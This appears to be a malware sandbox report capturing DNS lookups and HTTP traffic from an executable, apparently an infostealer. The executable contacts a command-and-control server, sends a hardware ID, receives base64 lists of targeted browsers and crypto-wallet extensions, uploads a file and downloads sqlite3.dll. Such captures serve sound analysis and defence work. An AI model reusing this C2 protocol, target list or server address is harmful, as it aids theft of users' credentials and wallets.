Dec 10, 2024 02:52:41.523901939 CET	1.1.1.1	192.168.2.5	0xba	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 02:52:41.786880016 CET	1.1.1.1	192.168.2.5	0x1c67	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 02:52:41.879614115 CET	1.1.1.1	192.168.2.5	0x8c32	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 02:52:44.180502892 CET	1.1.1.1	192.168.2.5	0x81d5	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 02:52:44.180502892 CET	1.1.1.1	192.168.2.5	0x81d5	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Dec 10, 2024 02:52:44.282869101 CET	1.1.1.1	192.168.2.5	0x1eb6	No error (0)	content-signature-2.cdn.mozilla.net	content-signature-chains.prod.autograph.services.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 02:52:44.282869101 CET	1.1.1.1	192.168.2.5	0x1eb6	No error (0)	content-signature-chains.prod.autograph.services.mozaws.net	prod.content-signature-chains.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 02:52:44.282869101 CET	1.1.1.1	192.168.2.5	0x1eb6	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Dec 10, 2024 02:52:44.379935026 CET	1.1.1.1	192.168.2.5	0x3463	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Dec 10, 2024 02:52:44.415604115 CET	1.1.1.1	192.168.2.5	0x31a1	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Dec 10, 2024 02:52:44.502661943 CET	1.1.1.1	192.168.2.5	0xcc0c	No error (0)	shavar.services.mozilla.com	shavar.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 02:52:44.505636930 CET	1.1.1.1	192.168.2.5	0x8911	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Dec 10, 2024 02:52:44.589565039 CET	1.1.1.1	192.168.2.5	0x571f	No error (0)	firefox.settings.services.mozilla.com	prod.remote-settings.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 02:52:44.589565039 CET	1.1.1.1	192.168.2.5	0x571f	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Dec 10, 2024 02:52:44.590215921 CET	1.1.1.1	192.168.2.5	0x755f	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Dec 10, 2024 02:52:44.698937893 CET	1.1.1.1	192.168.2.5	0x739a	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Dec 10, 2024 02:52:44.841962099 CET	1.1.1.1	192.168.2.5	0x34f6	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	185.215.113.206	80	7096	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 02:50:00.198757887 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Dec 10, 2024 02:50:01.549812078 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 01:50:01 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 10, 2024 02:50:01.553009033 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKJDGIEHCAEHIEBFBKKK Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 4a 44 47 49 45 48 43 41 45 48 49 45 42 46 42 4b 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 33 36 36 34 45 38 38 38 32 38 37 32 35 35 36 31 33 34 35 35 39 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 44 47 49 45 48 43 41 45 48 49 45 42 46 42 4b 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 44 47 49 45 48 43 41 45 48 49 45 42 46 42 4b 4b 4b 2d 2d 0d 0a Data Ascii: ------AKJDGIEHCAEHIEBFBKKKContent-Disposition: form-data; name="hwid"B3664E8882872556134559------AKJDGIEHCAEHIEBFBKKKContent-Disposition: form-data; name="build"stok------AKJDGIEHCAEHIEBFBKKK--
Dec 10, 2024 02:50:02.013479948 CET	407	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 01:50:01 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4d 54 46 68 4d 47 55 33 59 7a 4a 68 4f 44 68 6d 4f 57 5a 6d 4d 6d 45 30 4d 44 6b 30 4f 54 55 33 59 32 5a 6c 5a 6d 4d 78 59 57 55 78 5a 6a 4d 35 4e 54 46 69 4f 54 49 30 4d 44 42 6c 5a 47 59 78 5a 57 49 79 59 6a 41 32 5a 44 51 33 5a 6d 52 68 59 32 4e 6c 4e 44 5a 6a 4d 44 4d 79 4f 44 6c 6b 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: MTFhMGU3YzJhODhmOWZmMmE0MDk0OTU3Y2ZlZmMxYWUxZjM5NTFiOTI0MDBlZGYxZWIyYjA2ZDQ3ZmRhY2NlNDZjMDMyODlkfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Dec 10, 2024 02:50:02.014626980 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDBKKKKKFBGDGDHIDBGH Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 31 61 30 65 37 63 32 61 38 38 66 39 66 66 32 61 34 30 39 34 39 35 37 63 66 65 66 63 31 61 65 31 66 33 39 35 31 62 39 32 34 30 30 65 64 66 31 65 62 32 62 30 36 64 34 37 66 64 61 63 63 65 34 36 63 30 33 32 38 39 64 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 47 48 2d 2d 0d 0a Data Ascii: ------IDBKKKKKFBGDGDHIDBGHContent-Disposition: form-data; name="token"11a0e7c2a88f9ff2a4094957cfefc1ae1f3951b92400edf1eb2b06d47fdacce46c03289d------IDBKKKKKFBGDGDHIDBGHContent-Disposition: form-data; name="message"browsers------IDBKKKKKFBGDGDHIDBGH--
Dec 10, 2024 02:50:02.462678909 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 01:50:02 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Dec 10, 2024 02:50:02.462692976 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Dec 10, 2024 02:50:02.463963985 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCFIJKKKKKFCAAAAFBKF Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 43 46 49 4a 4b 4b 4b 4b 4b 46 43 41 41 41 41 46 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 31 61 30 65 37 63 32 61 38 38 66 39 66 66 32 61 34 30 39 34 39 35 37 63 66 65 66 63 31 61 65 31 66 33 39 35 31 62 39 32 34 30 30 65 64 66 31 65 62 32 62 30 36 64 34 37 66 64 61 63 63 65 34 36 63 30 33 32 38 39 64 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 49 4a 4b 4b 4b 4b 4b 46 43 41 41 41 41 46 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 49 4a 4b 4b 4b 4b 4b 46 43 41 41 41 41 46 42 4b 46 2d 2d 0d 0a Data Ascii: ------HCFIJKKKKKFCAAAAFBKFContent-Disposition: form-data; name="token"11a0e7c2a88f9ff2a4094957cfefc1ae1f3951b92400edf1eb2b06d47fdacce46c03289d------HCFIJKKKKKFCAAAAFBKFContent-Disposition: form-data; name="message"plugins------HCFIJKKKKKFCAAAAFBKF--
Dec 10, 2024 02:50:02.911397934 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 01:50:02 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Dec 10, 2024 02:50:02.911545038 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Dec 10, 2024 02:50:02.911557913 CET	248	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Dec 10, 2024 02:50:02.911869049 CET	1236	IN	Data Raw: 59 57 31 6d 61 32 78 72 62 58 77 78 66 44 42 38 4d 48 78 4c 53 45 4e 38 61 47 4e 6d 62 48 42 70 62 6d 4e 77 63 48 42 6b 59 32 78 70 62 6d 56 68 62 47 31 68 62 6d 52 70 61 6d 4e 74 62 6d 74 69 5a 32 35 38 4d 58 77 77 66 44 42 38 56 47 56 36 51 6d Data Ascii: YW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWNvY25ramVofDF8MHwwfFRlbXBsZXxvb2tqbGJraWlqaW5ocG1uamZmY29mam9uYmZiZ2FvY3wxfDB8MHxHb2J5fGpua2VsZmFuamtlYWRvbmVjYWJlaGFsbWJncGZ
Dec 10, 2024 02:50:02.911881924 CET	1236	IN	Data Raw: 62 6d 46 6e 59 32 5a 69 63 47 6c 6c 62 57 35 72 5a 48 42 76 62 57 4e 6a 62 6d 70 69 62 47 31 71 66 44 46 38 4d 48 77 77 66 45 78 6c 59 58 41 67 56 47 56 79 63 6d 45 67 56 32 46 73 62 47 56 30 66 47 46 70 61 6d 4e 69 5a 57 52 76 61 57 70 74 5a 32 Data Ascii: bmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFRyZXpvciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY25ma2xrfDF8MHwwfEF1dGhlbnRpY2F0b3J8YmhnaG9hbWFwY2RwYm9ocGh
Dec 10, 2024 02:50:02.912313938 CET	1236	IN	Data Raw: 59 32 4e 70 62 6d 68 68 63 47 52 69 66 44 46 38 4d 48 77 77 66 45 39 77 5a 58 4a 68 49 46 64 68 62 47 78 6c 64 48 78 6e 62 32 70 6f 59 32 52 6e 59 33 42 69 63 47 5a 70 5a 32 4e 68 5a 57 70 77 5a 6d 68 6d 5a 57 64 6c 61 32 52 6e 61 57 4a 73 61 33 Data Ascii: Y2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR8ZWdqaWRqYnBnbGljaGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1vbGxwaGNhZHwxfDB8MHxSYWl
Dec 10, 2024 02:50:02.912326097 CET	916	IN	Data Raw: 62 57 70 74 61 32 4e 68 5a 6d 4e 6f 63 48 42 69 62 6e 42 75 61 47 52 74 62 32 35 38 4d 58 77 77 66 44 42 38 52 57 78 73 61 53 41 74 49 46 4e 31 61 53 42 58 59 57 78 73 5a 58 52 38 62 32 4e 71 5a 48 42 74 62 32 46 73 62 47 31 6e 62 57 70 69 59 6d Data Ascii: bWpta2NhZmNocHBibnBuaGRtb258MXwwfDB8RWxsaSAtIFN1aSBXYWxsZXR8b2NqZHBtb2FsbG1nbWpiYm9nZmlpYW9mcGhiamdjaGh8MXwwfDB8VmVub20gV2FsbGV0fG9qZ2dtY2hsZ2huamxhcG1mYm5qaG9sZmpraWlkYmNofDF8MHwwfFB1bHNlIFdhbGxldCBDaHJvbWl1bXxjaW9qb2Nwa2NsZmZsb21iYmNmaWdjaWp
Dec 10, 2024 02:50:02.913595915 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAFIEHIEGDHIDGDGHDHJ Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 31 61 30 65 37 63 32 61 38 38 66 39 66 66 32 61 34 30 39 34 39 35 37 63 66 65 66 63 31 61 65 31 66 33 39 35 31 62 39 32 34 30 30 65 64 66 31 65 62 32 62 30 36 64 34 37 66 64 61 63 63 65 34 36 63 30 33 32 38 39 64 0d 0a 2d 2d 2d 2d 2d 2d 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 44 48 4a 2d 2d 0d 0a Data Ascii: ------DAFIEHIEGDHIDGDGHDHJContent-Disposition: form-data; name="token"11a0e7c2a88f9ff2a4094957cfefc1ae1f3951b92400edf1eb2b06d47fdacce46c03289d------DAFIEHIEGDHIDGDGHDHJContent-Disposition: form-data; name="message"fplugins------DAFIEHIEGDHIDGDGHDHJ--
Dec 10, 2024 02:50:03.360776901 CET	335	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 01:50:03 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Dec 10, 2024 02:50:03.378989935 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAKEGDAKEHJDHIDHJJDA Host: 185.215.113.206 Content-Length: 6827 Connection: Keep-Alive Cache-Control: no-cache
Dec 10, 2024 02:50:03.379023075 CET	6827	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 41 41 4b 45 47 44 41 4b 45 48 4a 44 48 49 44 48 4a 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 31 61 30 65 37 Data Ascii: ------AAKEGDAKEHJDHIDHJJDAContent-Disposition: form-data; name="token"11a0e7c2a88f9ff2a4094957cfefc1ae1f3951b92400edf1eb2b06d47fdacce46c03289d------AAKEGDAKEHJDHIDHJJDAContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Dec 10, 2024 02:50:04.452486038 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 01:50:03 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 10, 2024 02:50:04.719755888 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
